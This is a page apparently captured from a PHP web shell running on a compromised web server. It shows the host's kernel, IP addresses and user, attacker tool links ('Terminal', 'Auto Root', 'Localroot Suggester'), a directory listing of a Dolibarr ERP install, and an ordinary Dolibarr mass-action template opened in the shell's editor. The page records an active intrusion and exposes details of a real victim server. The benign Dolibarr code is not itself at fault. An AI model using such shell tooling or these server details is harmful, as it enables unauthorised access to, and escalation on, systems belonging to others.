Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
hermes.bdcloud.fr /
core /
tpl /
Delete
Unzip
Name
Size
Permission
Date
Action
ajax
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
README
123
B
-rw-r--r--
2020-10-31 14:38
admin_extrafields_add.tpl.php
14.86
KB
-rw-r--r--
2020-10-31 14:38
admin_extrafields_edit.tpl.php
17.43
KB
-rw-r--r--
2020-10-31 14:38
admin_extrafields_view.tpl.php
5.82
KB
-rw-r--r--
2020-10-31 14:38
advtarget.tpl.php
23.55
KB
-rw-r--r--
2020-10-31 14:38
ajaxrow.tpl.php
4.84
KB
-rw-r--r--
2020-10-31 14:38
bloc_comment.tpl.php
5.35
KB
-rw-r--r--
2020-10-31 14:38
bloc_showhide.tpl.php
3.17
KB
-rw-r--r--
2020-10-31 14:38
card_presend.tpl.php
10.36
KB
-rw-r--r--
2020-10-31 14:38
commonfields_add.tpl.php
2.27
KB
-rw-r--r--
2020-10-31 14:38
commonfields_edit.tpl.php
2.44
KB
-rw-r--r--
2020-10-31 14:38
commonfields_view.tpl.php
3.94
KB
-rw-r--r--
2020-10-31 14:38
contacts.tpl.php
12.48
KB
-rw-r--r--
2020-10-31 14:38
document_actions_post_headers.tpl.php
4.35
KB
-rw-r--r--
2020-10-31 14:38
error.tpl.php
779
B
-rw-r--r--
2020-10-31 14:38
extrafields_add.tpl.php
1.63
KB
-rw-r--r--
2020-10-31 14:38
extrafields_edit.tpl.php
1.56
KB
-rw-r--r--
2020-10-31 14:38
extrafields_list_print_fields.tpl.php
2.76
KB
-rw-r--r--
2020-10-31 14:38
extrafields_list_search_input.tpl.php
2.95
KB
-rw-r--r--
2020-10-31 14:38
extrafields_list_search_param.tpl.php
699
B
-rw-r--r--
2020-10-31 14:38
extrafields_list_search_sql.tpl.php
2.19
KB
-rw-r--r--
2020-10-31 14:38
extrafields_list_search_title.tpl.php
1.88
KB
-rw-r--r--
2020-10-31 14:38
extrafields_view.tpl.php
10.94
KB
-rw-r--r--
2020-10-31 14:38
filemanager.tpl.php
8.37
KB
-rw-r--r--
2020-10-31 14:38
footer.tpl.php
779
B
-rw-r--r--
2020-10-31 14:38
header.tpl.php
787
B
-rw-r--r--
2020-10-31 14:38
index.html
0
B
-rw-r--r--
2020-10-31 14:38
list_print_total.tpl.php
844
B
-rw-r--r--
2020-10-31 14:38
login.tpl.php
15.08
KB
-rw-r--r--
2020-10-31 14:38
massactions_pre.tpl.php
6.93
KB
-rw-r--r--
2020-10-31 14:38
notes.tpl.php
5.46
KB
-rw-r--r--
2020-10-31 14:38
object_discounts.tpl.php
5.37
KB
-rw-r--r--
2020-10-31 14:38
objectline_create.tpl.php
36.24
KB
-rw-r--r--
2020-10-31 14:38
objectline_edit.tpl.php
16.34
KB
-rw-r--r--
2020-10-31 14:38
objectline_title.tpl.php
5.98
KB
-rw-r--r--
2020-11-30 13:30
objectline_title.tpl.php_OLD
5.51
KB
-rw-r--r--
2020-10-31 14:38
objectline_view.tpl.php
26.49
KB
-rw-r--r--
2020-11-30 13:30
objectline_view.tpl.php_NEW
25.56
KB
-rw-r--r--
2020-10-31 15:06
objectline_view.tpl.php_OLD
22.22
KB
-rw-r--r--
2020-11-16 11:03
onlinepaymentlinks.tpl.php
7.69
KB
-rw-r--r--
2020-10-31 14:38
originproductline.tpl.php
2
KB
-rw-r--r--
2020-10-31 14:38
passwordforgotten.tpl.php
9.75
KB
-rw-r--r--
2020-10-31 14:38
resource_add.tpl.php
1.86
KB
-rw-r--r--
2020-10-31 14:38
resource_view.tpl.php
3.76
KB
-rw-r--r--
2020-10-31 14:38
Save
Rename
<?php /* Copyright (C) 2013 Cédric Salvador <csalvador@gpcsolutions.fr> * Copyright (C) 2013-2014 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) 2015 Marcos García <marcosgdf@gmail.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * or see https://www.gnu.org/ */ // Following var must be set: // $arrayofselected = array of id selected // $object // $objecttmp=new Propal($db); // $topicmail="SendSupplierProposalRef"; // $modelmail="supplier_proposal_send"; // $trackid='ord'.$object->id; if ($massaction == 'predeletedraft') { print $form->formconfirm($_SERVER["PHP_SELF"], $langs->trans("ConfirmMassDraftDeletion"), $langs->trans("ConfirmMassDeletionQuestion", count($toselect)), "delete", null, '', 0, 200, 500, 1); } if ($massaction == 'predelete') { print $form->formconfirm($_SERVER["PHP_SELF"], $langs->trans("ConfirmMassDeletion"), $langs->trans("ConfirmMassDeletionQuestion", count($toselect)), "delete", null, '', 0, 200, 500, 1); } if ($massaction == 'presend') { $langs->load("mails"); $listofselectedid = array(); $listofselectedthirdparties = array(); $listofselectedref = array(); if (!GETPOST('cancel', 'alpha')) { foreach ($arrayofselected as $toselectid) { $result = $objecttmp->fetch($toselectid); if ($result > 0) { $listofselectedid[$toselectid] = $toselectid; $thirdpartyid = ($objecttmp->fk_soc ? $objecttmp->fk_soc : $objecttmp->socid); if ($objecttmp->element == 'societe') $thirdpartyid = $objecttmp->id; if ($objecttmp->element == 'expensereport') $thirdpartyid = $objecttmp->fk_user_author; $listofselectedthirdparties[$thirdpartyid] = $thirdpartyid; $listofselectedref[$thirdpartyid][$toselectid] = $objecttmp->ref; } } } print '<input type="hidden" name="massaction" value="confirm_presend">'; include_once DOL_DOCUMENT_ROOT.'/core/class/html.formmail.class.php'; $formmail = new FormMail($db); dol_fiche_head(null, '', ''); // Cree l'objet formulaire mail include_once DOL_DOCUMENT_ROOT.'/core/class/html.formmail.class.php'; $formmail = new FormMail($db); $formmail->withform = -1; $formmail->fromtype = (GETPOST('fromtype') ? GETPOST('fromtype') : (!empty($conf->global->MAIN_MAIL_DEFAULT_FROMTYPE) ? $conf->global->MAIN_MAIL_DEFAULT_FROMTYPE : 'user')); if ($formmail->fromtype === 'user') { $formmail->fromid = $user->id; } $formmail->trackid = $trackid; if (!empty($conf->global->MAIN_EMAIL_ADD_TRACK_ID) && ($conf->global->MAIN_EMAIL_ADD_TRACK_ID & 2)) // If bit 2 is set { include DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; $formmail->frommail = dolAddEmailTrackId($formmail->frommail, $trackid); } $formmail->withfrom = 1; $liste = $langs->trans("AllRecipientSelected", count($arrayofselected)); if (count($listofselectedthirdparties) == 1) // Only 1 different recipient selected, we can suggest contacts { $liste = array(); $thirdpartyid = array_shift($listofselectedthirdparties); if ($objecttmp->element == 'expensereport') { $fuser = new User($db); $fuser->fetch($thirdpartyid); $liste['thirdparty'] = $fuser->getFullName($langs)." <".$fuser->email.">"; } else { $soc = new Societe($db); $soc->fetch($thirdpartyid); foreach ($soc->thirdparty_and_contact_email_array(1) as $key => $value) { $liste[$key] = $value; } } $formmail->withtoreadonly = 0; } else { $formmail->withtoreadonly = 1; } $formmail->withoptiononeemailperrecipient = ((count($listofselectedref) == 1 && count(reset($listofselectedref)) == 1) || empty($liste)) ? 0 : ((GETPOST('oneemailperrecipient') == 'on') ? 1 : -1); $formmail->withto = empty($liste) ? (GETPOST('sendto', 'alpha') ?GETPOST('sendto', 'alpha') : array()) : $liste; $formmail->withtofree = empty($liste) ? 1 : 0; $formmail->withtocc = 1; $formmail->withtoccc = $conf->global->MAIN_EMAIL_USECCC; $formmail->withtopic = $langs->transnoentities($topicmail, '__REF__', '__REFCLIENT__'); $formmail->withfile = 1; // $formmail->withfile = 2; Not yet supported in mass action $formmail->withmaindocfile = 1; // Add a checkbox "Attach also main document" if ($objecttmp->element != 'societe') { $formmail->withfile = '<span class="hideonsmartphone">'.$langs->trans("OnlyPDFattachmentSupported").'</span>'; $formmail->withmaindocfile = - 1; // Add a checkbox "Attach also main document" but not checked by default } $formmail->withbody = 1; $formmail->withdeliveryreceipt = 1; $formmail->withcancel = 1; // Make substitution in email content $substitutionarray = getCommonSubstitutionArray($langs, 0, null, $object); $substitutionarray['__EMAIL__'] = $sendto; $substitutionarray['__CHECK_READ__'] = (is_object($object) && is_object($object->thirdparty)) ? '<img src="'.DOL_MAIN_URL_ROOT.'/public/emailing/mailing-read.php?tag='.$object->thirdparty->tag.'&securitykey='.urlencode($conf->global->MAILING_EMAIL_UNSUBSCRIBE_KEY).'" width="1" height="1" style="width:1px;height:1px" border="0"/>' : ''; $substitutionarray['__PERSONALIZED__'] = ''; // deprecated $substitutionarray['__CONTACTCIVNAME__'] = ''; $parameters = array( 'mode' => 'formemail' ); complete_substitutions_array($substitutionarray, $langs, $object, $parameters); // Tableau des substitutions $formmail->substit = $substitutionarray; // Tableau des parametres complementaires du post $formmail->param['action'] = $action; $formmail->param['models'] = $modelmail; $formmail->param['models_id'] = GETPOST('modelmailselected', 'int'); $formmail->param['id'] = join(',', $arrayofselected); // $formmail->param['returnurl']=$_SERVER["PHP_SELF"].'?id='.$object->id; if (!empty($conf->global->MAILING_LIMIT_SENDBYWEB) && count($listofselectedthirdparties) > $conf->global->MAILING_LIMIT_SENDBYWEB) { $langs->load("errors"); print img_warning().' '.$langs->trans('WarningNumberOfRecipientIsRestrictedInMassAction', $conf->global->MAILING_LIMIT_SENDBYWEB); print ' - <a href="javascript: window.history.go(-1)">'.$langs->trans("GoBack").'</a>'; $arrayofmassactions = array(); } else { print $formmail->get_form(); } dol_fiche_end(); } // Allow Pre-Mass-Action hook (eg for confirmation dialog) $parameters = array( 'toselect' => $toselect, 'uploaddir' => $uploaddir ); $reshook = $hookmanager->executeHooks('doPreMassActions', $parameters, $object, $action); if ($reshook < 0) { setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); } else { print $hookmanager->resPrint; }